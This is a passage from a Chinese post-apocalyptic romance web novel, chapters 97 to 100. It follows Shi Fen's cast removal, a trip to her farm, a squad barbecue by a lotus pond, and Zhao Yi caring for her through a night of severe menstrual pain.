吃完饭时枌就回家了。
她感觉自己的脚已经不怎么痛,还能稍微动一动,估计是快好了。
昨天熬了夜,今天她早早就犯困,安稳睡了一觉,第二天一早,手表收到赵弋发的消息,让她吃完早饭来找他,一起去兰城,还提醒她带好之前的病例跟片子。
时枌起的有点晚,怕耽误他时间,叼了支营养液,塞了几片牛肉就拿好东西下楼,钥匙就塞在门口地毯下边,懒得随身带,反正邻居家没人,这栋楼也就住了三四户,她至今还没见全。
到基地去医务室找到了拐杖,时枌在基地门口看见了赵弋,还是那辆熟悉的黑色越野车,赵弋一身制服,照旧没穿外套,白衬衣黑色长裤皮鞋,身高腿长地靠在车门上,脸上还戴了一幅墨镜。
怎么说呢,赵队平时的气质就是沉稳中带着点散漫,这副黑色墨镜往脸上一搁,挡住了那双冷漠的眼睛,整个人竟然还显得……平易近人起来,同样是因为遮住眼睛,让人没有了与他对视的压力,注意力就放在了这人的脸上,清晰的下颔线,优秀的脖颈线条,在阳光下十分赏心悦目。
看来他在办公室睡得挺好,时枌想着。
走近了,赵弋递过来一把手枪,“带上,以防万一。”
他刚刚在这就是安检,让基地门口的士兵检查携带的枪支,这是正常流程,进出都得这样。
车也被检查了一遍,确认没有什么不该带的。
当然,他是总指挥,人家也不敢真的仔细搜,做做样子看看后座后备箱,连驾驶座的储物箱都没翻,就放行了。
时枌刚准备去副驾驶,赵弋拉住她,“想开车吗?”
赵弋这话一出,旁边士兵眼神一下子就挪到了时枌脚上的石膏上边,那眼神仿佛在说:不是吧赵队,伤患都要奴役啊。
时枌却很开心,她确实有段时间没开车了,她是真的挺喜欢开车的。
于是直接把拐杖从后座开着的车窗放进去高高兴兴在赵弋搀扶下坐进了驾驶座,乖乖系好安全带,熟悉之后又提醒赵弋系好安全带,才松刹车踩油门出发。
“我们要去兰城待很久吗?”时枌问他。
他去兰城肯定是不仅仅
带她去复查的,肯定要办自己的事,所以时枌才这么问。
“复查完就回来。”赵弋说,他想起上次回兰城他爸的反应,猜测这次回去估计也可能被迫碰到,但是看时枌的反应,应该不太适合直接见家长,赵弋也在犹豫要不要提前跟她说明这个可能性。
但又觉得,既然不会让她碰到,煞有介事地这么提到他父母,会不会在她看来就是是一种带有压力的暗示?
赵队纠结了。
斟酌半天,他才问:“我爸妈对你比较好奇,可能会过来找我们,你想见吗?不想见的话我让他们别来。”
时枌:“啊?他们听你的话吗?”
“可以跟他们讲道理。”必要时候需要采取一些手段。
“他们为什么会对我好奇?”
“毕竟我们在谈恋爱,家长会对孩子的伴侣产生好奇,这很正常。”
时枌觉得他说的有道理,如果爷爷奶奶还在的话,也会好奇她会招一个什么样的赘婿。
但不知道为什么,一想到面对赵弋的爸妈,她就会有点紧张。
是那种,当这人面拐走别人家孩子的心虚导致的紧张。
“随便吧,碰到就见,碰不到就算了。”时枌说,“你家里人知道……你干这个吗?”
这诡异的语气。
赵弋是真的一时间没反应过来。
“干什么?”
“来我家这件事。”时枌用一种委婉的说法解释了一遍。
“哦,不知道。”赵弋笑了,“不过他们不会介意。”
介意也没用,儿子大了不由人,再说他已经迁移到阳县了,他亲妈是绝对不可能抛弃兰城拥有的一切来阳县的,而他后爸,也不可能抛下老婆来找他,——除非赵将军被老婆扫地出门。
聊完这个,时枌才想起自己一开始要问什么。
“对了,如果早去早回,我想回农场一趟,拿点东西过来。”
带来的食物在她的挥霍下早就没剩多少了,她得补一补。
第97章 第97章真有劲啊。
到了兰城门口,依旧是进城前的安检,时枌的枪还没捂热乎就被搜走了,但是人家对她很客气,说出去的时候会还给她的。
时枌不熟悉兰城内的路,安检过后就换赵弋开车了,他直接开到了东区军医院门口,再下车,时枌已经灵活地从后座车窗抽出自己的拐杖,拄着拐往医院走,赵弋只得跟上。
挂号,等着叫号,才能见到医生。
医生说她恢复的不错,结合她现在的状态,就让她去拍了片子先看看情况,确定没啥问题才拆石膏,边拆边嘱咐她:“还是要做康复训练的,具体怎么练你去那边找医生,或者我发给你视频,自己跟着学一学,再慢慢试着走路。”
时枌很乖,边听边点头,然后让赵弋帮忙下视频。
弄完之后,时枌看着明显瘦了一圈的左小腿,撇撇嘴,捏捏自己小腿上的肉,也是软乎乎的。
拆完石膏她就坚强地自己去洗了脚,终于舒舒服服干干净净。
问题就是,她缺了只鞋。
“还不能着地,不用穿鞋。”赵弋扶着她坐下。
“行吧。”时枌很快就接受了。
她坐在医院椅子上,裙摆又被赵弋给她压了下去,翘着二郎腿,动动脚趾头,看着自己那只明显白了很多的左脚,试着活动脚腕,还有点点痛呢。
赵弋一瞥,就看见她裙摆下白到发光的脚,看了几眼才挪开,继续听医生的叮嘱。
时枌试探着用脚点地,但看医院地板脏兮兮的,跟自己白净的脚丫实在是不配,就点在旁边赵弋皮鞋上,结果给自己踩了半脚的灰,伸手去扯他衣服,让他帮忙拿张湿巾擦脚。
赵弋垂垂眼,深吸口气,抽了张湿巾递给她。
时枌自顾自擦脚了。
没想到这次崴脚竟然要恢复这么久,医生说康复训练也要做一个月左右,这样以来她的玉米花生土豆就只能指望赵弋来收了。
这么一想,时枌很庆幸自己招了赵弋。
赵弋有事情要办,不算什么机密,载着她又去了一趟农业基地见刘教授,买了一批种子跟鸡鸭猪崽,当场付了定金,预定下周就会送到阳县,另外刘教授还问了时枌他上次给的种苗情况,时枌简单说了一下。
“马上也是秋播,这里还有一部分,你方便的话可以拿过去一起种了。”刘教授笑呵呵地说。
时枌当然方便,反正马上就要回农场。
拿到了种子,还有刘教授附赠的一些鸡鸭猪崽,时枌高高兴兴上了车,又去兰城的商店给罗辉一家买了点东西,才回农场去。
“花了七万积分,送这么点东西,刘教授不大方啊。”离开兰城时枌才敢蛐蛐。
赵弋点头表示赞同,“确实不大方,但是他们免费帮忙运过去,就当运费也是一部分赠品吧。”
两人直到出兰城,都没见到赵弋爸妈的影子,弄得时枌心痒痒。
来的时候他煞有介事,结果真的没碰上,她心里就总觉得少了点什么。
但她选择忍着,不说。
不然好像她很想见他爸妈似的。
时枌在兰城的时候就给罗辉发了消息,告知他们到农场的时间,不知道他收不收得到,但刚到农场,就有个骑着马戴着帽子的高大男人过来,时枌从车窗探出脑袋跟人打招呼,那人就停在路边,跟他们一起进去,提前帮忙把时枌农场的栅栏挪开。
下了车,时枌拄着拐,赵弋打开后备箱帮忙搬东西。
余袅跟烈烈阳阳也来了,一起来搬东西。
余袅笑着跟时枌打招呼,“白了很多呀,谢谢你们帮忙带东西,家里一直缺这些……”
时枌帮忙带的都是一些生活用品,再就是调味料什么的,罗辉跟阳县签了合作,有了积分收入,因为阳县物资有限,得知他们要去兰城,才托时枌帮忙买。
“不用客气,对了,还有这些是那边农业基地送的,分你们一些,反正这么多。”时枌就把后座地崽子们拿出来要给他家分。
罗辉连忙拒绝,“你帮我们带东西就算了,怎么还拿你的,你家鸡栏看着那么空,本来就有地方养,不用给我们。”
“是啊,真不用,我们家也够吃了。”余袅也跟着拒绝。
“我这段时间不在家多亏你们帮忙喂养,就当这是一部分酬劳吧。”时枌已经分好了,其实也不多,鸡鸭各五只,小猪崽给了两只。
懒得听他俩在这推辞,时枌往他们怀里一塞就不管了,拄着拐杖跑的飞快,让赵弋帮忙把其他崽子都搬进来,她直接去了厨房。
罗辉余袅也没办法,烈烈怀里抱着一只白白的猪崽,阳阳则是对黄黄的小鸡崽好奇,伸手去摸。
“爸爸我们给它们起个名字吧?”阳阳说。
“别了,就跟其他的一起养吧。”这是拿来吃的,不是宠物,起了名字以后还怎么下手。
跟赵弋聊了会儿,他们就搬着东西回去了。
赵弋把鸡鸭猪分别放进去,时枌在厨房看见,赶紧蹦出来,对着他大声道:“小鸡崽要跟它们分开,
拿木板隔一下,放两只母鸡进去就行了。”
那几只公鸡都凶得很,偶尔为了争夺**权还会互相打架,小鸡崽放进去怕会被欺负,只能先让它们跟母鸡待一段时间,等它们处好了,再放回去,有了母鸡的保护,公鸡就不会攻击小鸡崽了。
他就去找木板,隔开之后才进屋去厨房洗手。
时枌正在柜子里翻东西,脚边堆了一些她拿出来要带走的,都是些面粉大米之类的。
“我搬到车上去?”赵弋问她。
“嗯,差不多就这些。”时枌扶着流理台自己站了起来,洗洗手,“我去楼上看看。”
赵弋看了眼楼梯,不说话时枌就知道他想问什么。
“没事,我慢慢蹦上去。”
她一到家就进入忙碌模式,拄着拐杖往上蹦。
时枌发现家里一楼地板被打扫过,但是二楼没有,很明显的一层灰,一个脚印都没有,看来罗辉他们家只在帮她拿东西的时候进过一楼,二楼都没上来过。
很有分寸,时枌对这个邻居更满意了。
她现在脚快好了,也能穿裤子穿鞋,一上楼就进了自己的卧室,打开衣柜给自己找了两套衣服鞋子,看了看墙边堆放着的子弹跟枪,似乎也用不上,就算了。
关上衣柜的时候,时枌总觉得自己还有什么东西忘记带了,站着想了一会儿也没记起来,懒得再想,看了眼浴室。
洗发水这些阳县都能买到,她暂时还不需要。
正准备下楼,赵弋就已经上来,一手接过她手里的布袋子,一手去扶她。
下楼还是比较危险的,时枌很配合地张开手,赵弋俯身托着她腰下,她就这么坐在他胳膊上被抱了起来,楼梯狭窄,时枌第一次发现自己脑袋高过了楼梯顶,只能抱着人脖子低头趴着避免撞到脑袋。
下楼后被放下来,时枌都在感慨:“真有劲啊。”
“就这些?”赵弋拎了拎手里的布袋。
这些布袋都是奶奶在的时候缝制的,方便她上山带一些必需品,现在正好用来装自己的衣服。
“就这些,”时枌看看外边的天,应该只是下午,她一整天就喝了营养液,肚子有点饿,只想赶紧回阳县,“走吧,回阳县再吃饭。”
赵弋应好。
到了车上,时枌把拐杖放后座的时候发现后座上竟然有两只羊腿一扇排骨,还有一小包什么东西,时枌半个身体都探进去翻,发现是一大袋被切成小块的奶酪。
赵弋看她姿势深深叹了口气,想摁着她怕她翻进车,伸伸手,还是算了,没一会儿她就自己出来了。
“以后可以直接开门。”他说。
“罗辉家给的吗?”时枌问他。
“只能是他们家了。”
时枌不想收,但一想到自己过去肯定又得跟他们家一家四口开始经典拉扯,她就觉得很没必要。
罗辉能收下她的东西,那她也要大大方方收下他们家的东西才对,不然这样客气来客气去的,搞得像两家关系很不好似的。
上了车,赵弋把车窗都打开,散散味道。
时枌已经在计划这些肉要怎么分。
“不能直接去基地给那群兵看见了,不然看见了,我又不给他们吃,肯定要怨我的。”时枌跟基地里其他人关系都处得好,被谁看见了都不好。
“嗯,到基地前我们就把肉放到后备箱,我跟安检的人打声招呼,直接把车开到家楼下。”赵弋说。
“但是这么多肉该怎么处理呢?”时枌又纠结起来,“只有食堂才有调料工具帮忙做成菜吧,我自己又不好弄。”
现在住楼房,烧煤气灶,没有土窑没办法烤羊腿,家里位置也小,施展不开。
赵弋想了想,“有个地方,之前摘莲蓬的水田旁边,我们自己生火,慢慢烤慢慢吃,留一条羊腿冷冻,你之后可以自己做菜吃。”
那地方有水方便清洗,有足够大的地盘,又远离居民区,人少,又在安全范围之内,就算碰到巡查的人,分他们几块肉也不是问题。
“好主意。”时枌就开始给其他人发消息,约定好时间地点,到时候大家一起去。
小队其他人最近都很忙,秦丰叶枝蔚骨头张照照再加上周霓,他们一共也就七个人,有一只羊腿一扇排骨,似乎是够吃,可能还有多的,而且为了吃烤羊腿烤羊排,时枌还得去食堂弄点土豆辣椒之类的配菜,毕竟光吃肉会腻,这么多东西,她就觉得人有点少。
“要不叫上张克跟宋阡吧?”张克也算是小队成员呢,叫上张克,那就得叫上他老婆。
“嗯,可以。”
她还得去食堂吃顿饭,不然烤羊腿还没熟她就要饿死了。
第98章 第98章老牛吃嫩草。
时枌消息一发出去,还只是文字,没发羊腿羊排照片的时候,群里就炸开了花,疯狂往外弹消息。
此时她已经在食堂吃上了牛肉面,麻辣的,再加一份绿豆汤,并扬言吃完还要去买冰棒。
赵弋坐她对面,没有点餐。
对他来说吃饭只是填饱肚子,而他现在一天两支营养液,今天又没有什么消耗,当然是不觉得饿。
时枌吃的很香,一抬头就看见他在手表上回复消息,对她的麻辣牛肉面一脸的无欲无求。
赵队这个状态,影响到了她的食欲。
他在回复消息,但是群里没有他的消息,说明是在处理别的事情,很可能是公事,时枌就忍忍,不去打扰他了。
一口气吃完牛肉面,又三两下喝光绿豆汤,赵弋看她吃完就不再发消息了,起身扶着她站起来,两人要开车去池塘边,顺便还要去接已经下班的张照照跟周霓,其他几个现在还在加班忙,到时候就只能自己想办法过去,而秦丰本来就在南区部队那边,离池塘近,打算自己去,不用他们接。
果然,他们刚到小池塘,就看见秦丰风风火火地从一辆军车上跳了下来,边跑边招呼送他的人赶紧回去,像是生怕被人蹭到羊腿似的。
周霓看他巨大一个蹦蹦跳跳,啧了一声,“我咋感觉秦副队这身材,可塑性很强啊。”
时枌不懂什么叫可塑性,“什么意思?”
“他一会儿胖一会儿瘦的,瘦的这么容易,我都嫉妒了。”周霓说。
时枌再看秦丰,确实是瘦了啊。
张照照:“因为工作所以瘦的吧。”
秦丰已经跑到跟前,跟赵弋一起去搬羊腿羊排。
这玩意放车里,之前又不敢开窗怕被人看见,车里全是味儿,搬出来后赵弋就打开后备箱跟每个车门,敞开通风。
秦丰扛着羊腿笑呵呵分配任务:“周霓捡柴禾,时枌生火,我们仨去池塘边处理羊肉,张照照!把土豆都带上一起去洗!”
他随身带着军刀,扯了几片荷叶垫着羊肉区清洗,洗完再割花刀,开始抹油简单上点调味料,再放到铁丝网上烤,——铁丝网是秦丰偷偷摸摸去食堂顺出来的。
时枌火也生的差不多了,不用太大火烤肉,秦丰负责羊肉,其他人负责烤土豆跟其他的菜。
天都黑了,张克跟宋阡还有叶枝蔚一起坐车过来的,远远就下了车,三人再走过来,骨头比较忙,他到的时候羊排都烤熟了,正好开吃。
夜色中,已经熄灭的柴火亮着星星点点的火光,烟也没入浓浓的夜色无法分辨,只有烤肉香味散出去好远。
没光亮,后来的骨头被派出去捡柴火生火,而两个瘸子,时枌跟张克叫上叶枝蔚至今还有宋阡一起去摘莲蓬。
这片池塘之前被食堂派人搜刮过一遍,但是经过这些天生长荷花还是一个接着一个地开,莲蓬一个接着一个地结。
主要是这地方离居民区太远,
普通人就是知道,步行也要一个多小时,所以没人过来摘,周边还是有不少莲蓬的。
带着两个瘸子,她们三个身先士卒去摘,时枌被要求抱着荷叶接她们丢过来的莲蓬。
“枌枌接着!这个最大!”周霓咋咋唬唬抛过来一个超大的莲蓬。
时枌准确接住,扯着嗓子喊:“不要大的!大的老了不好吃!”
周霓充耳不闻,继续摘老莲蓬。
时枌都想自己过去摘。
张克就很淡定,他不会挑莲蓬,反正她们丢过来他就接着,当个老老实实接莲蓬机器就行了。
摘完莲蓬,秦丰喊他们过去吃肉,时枌抱着一整片荷叶的老莲蓬,心情很复杂。
算了,这些就回去煮了吃吧,老是老了点。
周霓坐不住,回来叼了根羊排,又去摘了荷叶荷花,说要带回去插瓶。
荷叶清香让这一片的肉味都淡了不少。
时枌没啥胃口,挑了几个嫩莲蓬剥着吃,赵弋给她卸了几块肉蘸好辣椒粉递到嘴边,她吃了两块就说好了。
“饱了,不想吃。”时枌推开他的手,“你自己吃呗。”
赵弋自己也不太想吃。
时枌瞥到他皱起来的眉毛,脑筋一转,靠过去,肩膀挨着人肩膀,抬起头准备跟他说什么,他就很配合地把脑袋歪过来,耳朵靠近她。
“你怎么不爱吃饭?”她小声问。
“没有吃饭的习惯。”
一般出任务都是配营养液,这东西效率高能快速补充体力,在野外很方便,他养成了习惯,就不太喜欢吃正常食物,怕自己一旦习惯了正常食物以后出任务会有饥饿感。
时枌抿抿唇,“不行哦,我特别爱吃饭,不爱喝营养液,以后你去我家,我要是还是一个人吃饭,那有什么意思。”
“你这样,我吃饭都不香了。”
“……”
他倒是没考虑过这个。
平时她吃饭他大多是陪坐,偶尔真的没有喝营养液才会点一份自己的,但那也不过是做做样子。
“好。”他答应了。
撕下来的几块肉他自己都吃了。
时枌满意地递给他一个嫩嫩的莲蓬。
一扭头,就看见对面三双幽怨的目光。
来自周霓张照照骨头,单身三人组。
有老婆的张克正在伺候老婆吃肉还学着赵弋的做派给老婆剥莲子吃,秦丰忙着烤肉,一边给叶枝蔚加菜,一边问她吃不吃土豆,殷勤得很。
这两对周霓他们已经习惯了,一个领了证一个已经同居,可以选择无视,但对面自家队长跟时枌,就显得扎眼的很。
周霓愤愤咬了一口肉,“老牛吃嫩草。”
手里捏着嫩莲蓬正打算剥的赵弋:“……”
最迟钝的张照照也知道了他们之间很不对劲的氛围。
“所以,他们在一起了?”张照照用一种自以为只有他跟骨头才能听见的音量说。
骨头:“……我们要是没瞎的话,应该是的。”
周霓一脸严肃认真:“枌枌,你不是被强迫的吧?”
时枌:“啊?我吗?被强迫?”
旁边人都笑了。
她虽然脚受伤,可一点不像会被强迫的人啊。
想当初,她一个人带两条狗就把他们小队拿下了。
仿佛当初农场遇见已经是很遥远的事情,秦丰说起来还带着几分感慨。
时枌吃着莲子,盘腿坐在荷叶上,防止被草扎屁股,这幅姿态像极了年画上盘坐的娃娃,被秦丰调侃,时枌看看自己,也觉得有点像。
夜色深了,远处传来车声,秦丰起身去看看,是几个南区巡查的人,听见这边的动静过来看看。
当然,不仅是动静,还有肉香。
他们本来巡的好好的,一个狗鼻子的士兵一下子就闻到了羊肉孜然味,挪不动腿,非得要过来看看。
结果就看见了他们的总指挥,赵弋。
上次南区部队负责人去基地开会,回来蔫了吧唧地跟几个干部谈完事情,整个矿山就继续停工了,导致他们这群兵只能闲着没事干在周围巡查,无聊到八卦,紧接着来了秦丰这个新上任的副指挥,跟他们关系处的不错,还说矿山这工作工资少待遇差,赵队正在想办法给他们安排新的事情干。
小兵就对南区忠心耿耿吗?
不一定。
普通民众是更看重自身利益的。
得知他们签的是迁移合同,手续都已经办好,几乎再无重回兰城的可能,他们当然是更想在阳县好好过日子。
狗鼻子士兵上前打了招呼,秦丰一看是熟人,就招呼他们过来,把肉分一分。
今天时枌没啥战斗力,秦丰最近减肥也吃得少,骨头倒是吃得多,但也吃不完这么多肉,他们正愁剩肉怎么办,就来了人。
正好他们也吃得差不多了。
车上几个小兵分了肉,笑的油光满面。
“我还是头一会儿吃这么地道的烤羊腿,以前出任务碰到一只老山羊,可惜我手艺不行,也没什么调料,糟蹋肉不说,还给我恶心得够呛。”
“对啊,羊肉怎来的啊?”
是时枌带来的,其他人也知道是罗辉家的肉,但这事不适宜宣扬出去,毕竟都是兵,怕他们心里存了这个念想,之后会偷摸去罗辉家找事。
赵弋开口:“阳县之后也会建养鸡场之类的,东面有大片草原,我打算之后在那边养些牛羊。”
没正面回答。
南区几个士兵听着来了兴趣,“真的吗?以后我们就自己养牛羊吃了?”
“那好啊,我家以前就是放羊的,小时候我经常在草原上跑,要不是那年说什么进城玩,也不至于就留在兰城了。”
“牛羊要人守着吧?东面草地大,但是也太空旷,万一有人来抢呢?”
“傻子,当然得咱们拿枪守着啊,建几座哨塔,那么空旷的平原,怎么不好守?”
“小羊从哪来啊?也只有兰城有吧?”
赵弋:“我定了一批,下个月到。”
都在那七万积分里面。
不然一些鸡鸭猪崽,够不上七万。
“那得不少钱吧?阳县有这么多钱吗?”一个兵问。
秦丰大大咧咧,“阳县有个屁的钱,不过老赵倒是有……”
然后他就沉默了。
周霓掐指一算,他俩今天刚去了趟兰城,眼睛一下子瞪大,“不是吧赵队!”
骨头:“完蛋了,赵队变穷光蛋了。”
张照照:“啊?什么蛋?还有鸡蛋吗?”
秦丰:“……老赵没花多少吧?”
赵弋:“七万。”
众人倒吸一口冷气。
周霓赶紧挪过来,偷偷跟时枌商量:“不行啊枌枌!赵队没钱了,以后还得靠你给他养老!这男的不靠谱啊!”
时枌被她一拉,屁股挪了一下,察觉到自己的不对劲。
偷偷摸摸低头一看。
完蛋,来月经了。
赵弋看她们鬼鬼祟祟,侧头看见那片荷叶上的一片深色,以及她挪动后裙摆上的血色,递给她另一片荷叶恰好挡住。
“不早了,回去吧。”赵弋说。
第99章 第99章痛死跟被药死之间选哪个……
赵队发话,大家就散伙了。
秦丰叫上骨头张照照拿荷叶舀水过来把火堆熄灭,那几个南区的兵也跟着帮忙,彻底浇透不会再着,几人就准备离开。
“咱们正好有车,载你们去基地再回矿山也方便。”叼着羊腿的一个士兵说。
“对,先送你们回去,我们在这边转会儿就行。”
就这样,秦丰叶枝蔚骨头张照照几个坐他们的车,张克宋阡跟周霓坐赵弋的车。
时枌扯了好几片荷叶垫副驾驶上,确定不会弄脏座椅才坐上去。
有赵弋挡着她,熄了火堆又没什么光亮,倒是没其他人发现她裙子上的血迹。
上了车,赵弋放后座三人把他的制服外套丢过来,给时枌盖在腿上。
宋阡:“是不是有点冷?最近好像要降温了。”
周霓知道时枌来了月经,低声跟宋阡说了两句,宋阡就明白了,岔开话题,聊别的。
到了基地,下车的时候他们就各回各家,没多耽误。
时枌在车上就头脑昏沉,中途睡了一小会儿,被肚子莫名其妙的抽痛弄醒,之后就开始一阵一阵的痛,手脚冰凉,头脑发麻,呼吸也重了起来。
赵弋把车停在楼下,下车到副驾驶,拉开车门,看她脸色苍白,俯身小心翼翼把荷叶上的小仙童抱了出来,意外发现她体温较低。
时枌难受得厉害,早伸手搂着他脖子,挂在人身上,脑袋也靠在他肩膀上哼哼唧唧,屁股下的胳膊一如既往的稳固有力,她对他的力气似乎很有信心,一点不担心自己会掉下来。
“很痛?”他拿外套盖在她肩膀上,上楼之前犹豫,“要不要去一趟医务室?”
这个点就算医务室没有人,也可以去敲老中医的门。
“去吧,痛死了。”他身上暖和的很,明明天气这么热,时枌却觉得冷,胳膊都贴着他的后颈,似乎这样就能让自己暖和起来。
赵弋抱着她去医务室,老中医平时就住医务室,敲门半天没人应,估计是老中医年纪大了,耳朵不好使。
这会儿已经是十二点深夜,基地剩下几人巡查,大部分都回宿舍睡觉了。
他敲门的动静已经算是扰民,但老中医不动如
山,根本没回应。
赵弋没办法,他对月经这种事还停留在小时候对生理课上,并不知道该怎么处理。
大热天,赵队额头上都急出汗来。
而时枌明显感觉什么东西涌了出来,一下子意识到自己还没垫卫生巾,整个人都往上缩了一下。
“……先回家吧,我、我有点事……”
“好。”
赵弋又转头回家,看她还是蔫蔫的,终于记起来还有叶枝蔚周霓这俩可以问。
上楼梯的时候打给周霓,没人接,又打给叶枝蔚,等了会儿,是秦丰接的。
“咋啦?不是刚回来吗?有啥事找她?”秦丰大大咧咧。
“让叶枝蔚接电话。”
“有啥我不能听的。”嘴上嘀咕,秦丰还是把手表给了叶枝蔚。
赵弋单手抱着人找到钥匙,开门,“时枌现在有点不舒服……”
时枌看他磨磨叽叽,直接对着手表:“我好像痛经了,快痛死了。”
言简意赅。
叶枝蔚都愣了一下,“家里有止疼药吗?”
“没有啊。”时枌的医药箱在农场,那个医药箱还是很全的,但是赵弋家就什么都没有,因为楼下基地里就有医务室。
“那我给你送过来,马上。”
挂断电话,时枌心情都好了很多,但还是难受,抱着他脖子哼哼唧唧。
“为什么啊,我以前从来不痛经的,每次都好好的。”
她似乎是忘了之前给他定下三天不准回来睡的规矩,倒是格外黏他,赵弋也就没提。
听她这么抱怨,他想起了积分交易明细上的一长串冰棒清单。
“可能跟你二十天吃了八十三根冰棒有关系吧。”
他此时的语气冷漠极了。
明晃晃地说她活该。
时枌底气不足,“怎么可能有八十三根,你肯定数错了。”
“你自己去店里买了七十三根,家里冰箱三十根冰棒还剩二十。”他平静地陈述。
时枌:“……”
年纪虽然大,但赵队脑子还是挺好使的。
低头看看她的左脚,想到她还不方便自己洗澡,到了洗手间门口,问:“要不要帮忙?”
时枌一点都不想从他身上下来,这人跟个火炉似的,她这时候就需要这样的体温。
但是她身上脏脏的,得换衣服,还得粘上卫生巾。
“不用,我自己来,你帮忙拿一下衣服还有衣柜右边抽屉里面的卫生巾。”时枌坚强地自己落地,单脚站着,另一只脚勉强点着地板。
洗手间是瓷砖,时枌觉得自己右脚跟地面接触的一瞬间自己就被冻透了。
痛是一阵一阵的,脱离了舒服的环境,一点风吹草动都能让她浑身起鸡皮疙瘩。
放了热水简单擦一擦,赵弋敲门,她把衣服拿进来。
还好是睡裙,简单一套就行,收拾好自己,看了眼水桶里沾了血的裙子,也没办法,她现在根本没力气去洗衣服,整个人虚弱得不行,一出洗手间门,看见赵弋就伸手要抱。
他袖子上蹭了点血,本来想去换件干净衣服,看她这样,只能去抱。
肚子贴着人小腹,就好受很多。
“你身上好烫啊。”时枌还感慨。
“……”
当然会烫,他是个男人。
正好有人敲门,赵弋就这样抱着她去开门,门口叶枝蔚猝不及防看见这一幕,眼睛都瞪大了。
时枌扭头,“枝蔚我快痛死了……救命……”
她脸色白的跟女鬼一样。
叶枝蔚:“这是止痛药,吃一颗就行,肚子痛的话可以喝热红糖水,红糖在这,哦对,还痛的话可以烧热水捂一捂肚子,小腹那个位置,肚脐下边一点,止痛药一小时起效,你得再熬一熬,不要吹电扇了。”
她现在冷得要死,怎么敢吹电扇。
“谢谢。”赵弋接过东西,叶枝蔚就离开了。
先去烧热水,他单手托着,另一手去拿杯子,时枌想先吃药,他哄着她再等等,烧开水后兑成温热的,再给她吃药。
药下肚,也没什么感觉,还是痛,一抽一抽的,时枌抱紧了他,继续哼哼唧唧。
“还吃冰棒吗?”他一边冲红糖水一边问。
时枌不想理他。
但她迷迷糊糊的脑子想到了一点。
“可能是我崴脚受伤所以才痛,”她声音都是飘的,“跟冰棒没什么关系。”
赵弋看她不知悔改,拉开冰箱冷冻层,蹲下去拉开放冰棒的那一层,“那现在想吃吗?”
时枌就不回复了。
试图蹬脚给冰棒推回去。
赵弋给她踢了回去,关上冰箱,拿筷子搅拌红糖水,摸了下杯子,明显不能直接喝。
但是叶枝蔚也没说开水冲红糖水能不能兑凉水调到温的,万一兑凉水就没用了呢?
赵弋就在犹豫。
算了,保险起见,还是等红糖水凉了再喝。
他一手拿着杯子一手把人往上托了一下,到沙发坐下,自己手被烫的发红,想了想,放到她小腹,肚脐下。
一下子就熨贴了。
时枌整个人都麻了一下,不是痛的,很舒服的那种,疼痛被缓解了的感觉。
“这样捂一会儿……”
“好点了?”
“嗯嗯。”
她靠在他肩膀上点头。
他依言照做。
裙摆乱七八糟落在他腿上,赵弋低头就看见她曲起来的腿在自己腿侧,软软搭在沙发上,怕压到崴脚的位置,他另一手去挪了下左脚脚踝。
“脚痛不痛?”
“不痛不痛。”她脑子麻麻的,不太想思考,“你别说话,吵。”
“……”
还嫌他吵。
“有毯子吗?”她说,“胳膊腿有点冷。”
赵弋就把旁边的毯子扯过来给她捂严实了。
大夏天的,晚上再怎么降温也是二十七八度,他穿着衬衣长裤,被迫贴着她,还拿毯子给他捂得严严实实,赵弋觉得自己都快着了。
根本平心静气不下来。
手不烫了就去捏一会儿红糖水的杯子,再给她捂肚子。
感觉自己像个热水袋。
她靠他身上睡觉也不老实,偶尔缩缩腿,再动动胳膊,身上的毯子就往下掉,赵弋不得不给她拢好,低头贴贴她的脸颊,明显很热,不知道为什么她却总喊冷。
会不会是生病了?其实不是月经的问题?
但赵弋回忆了下从她到阳县来这段时间,除了崴脚休息之外也没做其他,每天精力旺盛的很,吃的也都是食堂的饭菜,一整个基地的士兵吃了都没毛病,那她应该也不会有什么。
水土不服?
农场离阳县也没多远的距离。
“明天好点还是去医务室看一看?”他低声问她。
时枌被折磨得根本睡不着,脑瓜子嗡嗡的,“别吵……”
她伸手去捂他嘴。
赵弋就不说话了,拉下她的手拢到毯子里。
折腾半晚上,终于给她喝上了不烫嘴的红糖水,结果时枌喝完就吐,赵弋伺候她漱口洗脸,看了下止痛药说明书,四小时一颗,又去翻垃圾桶,翻了半天也不知道止痛药有没有吐出来,然后仔细看了遍说明书,原来这个药对胃有刺激。
那就是药吃下去了?消化了?
他问时枌还痛不痛。
时枌说她快痛死了。
赵弋问她痛死跟被药死之间选哪个。
时枌:“药死我算了。”
于是就又吃了药,这次水都只喝了一点点。
她终于在天光微亮的时候睡着。
神经麻木的赵弋也终于能睡,脑袋歪在沙发靠背上,累到一闭眼就着。
睡前赵弋唯一的想法就是:他睡醒就把那一柜子冰棒给处理了。
第100章 第100章“还好有你啊。”……
接二连三的通话申请把只睡了三个小时的赵弋吵醒,顺手他就摁了接通甩出“请半天假”四个字,关机,摘了手表丢到沙发上。
下巴下还有一条水蛇似的胳膊缠了半晚上,难怪他一晚上都做噩梦,梦见自己被热带雨林里的大蟒蛇追杀,盖在她身上的毯子也不知道什么时候掉了下去,但看样子她好像没那么怕冷了,体温也比较正常,脸色好了
很多,至少是比昨晚女鬼一样惨白要好。
她睡得沉。
赵弋活动活动僵硬的腰,深吸几口气才抱着她起身,送到卧室安置好,毯子盖着人肚子,捏捏她的手,挺暖,再加上现在天亮了室内温度也上来了,就没给她盖太严实,怕她睡不好。
他身上这件衬衣已经皱到不能看,袖子上蹭了不少血,再低头看看裤子,同样皱皱巴巴。
昨天一晚上比他刚入伍砍丧尸那天还累。
但阳县最高指挥官没有假期,办公室还堆了一堆事情等着他去处理,同样,洗手间也堆了一堆衣服等着他洗。
赵弋从衣柜拿了套制服想了想又拿了套平时穿的短袖长裤,仔细洗了个澡,昨天一晚上出了一身的汗,他自己都觉得臭,换上短袖长裤,再把泡水的她的裙子跟内衣加上洗衣粉继续泡。
还好他对清洗衣服上的血迹很有经验。
抓紧时间把两人衣服洗了拧干晾到阳台,再换上制服,随手习惯性卷起袖子,去厨房看了眼冰箱,发现一半是空的,他这才想起来昨天回农场拿的东西还在后备箱没有搬上来,于是又下楼拿东西,好在那块羊肉比较显眼被他提前拿回家冷冻了,没在楼下放坏,其他的该放冰箱放冰箱,该放柜子就放柜子。
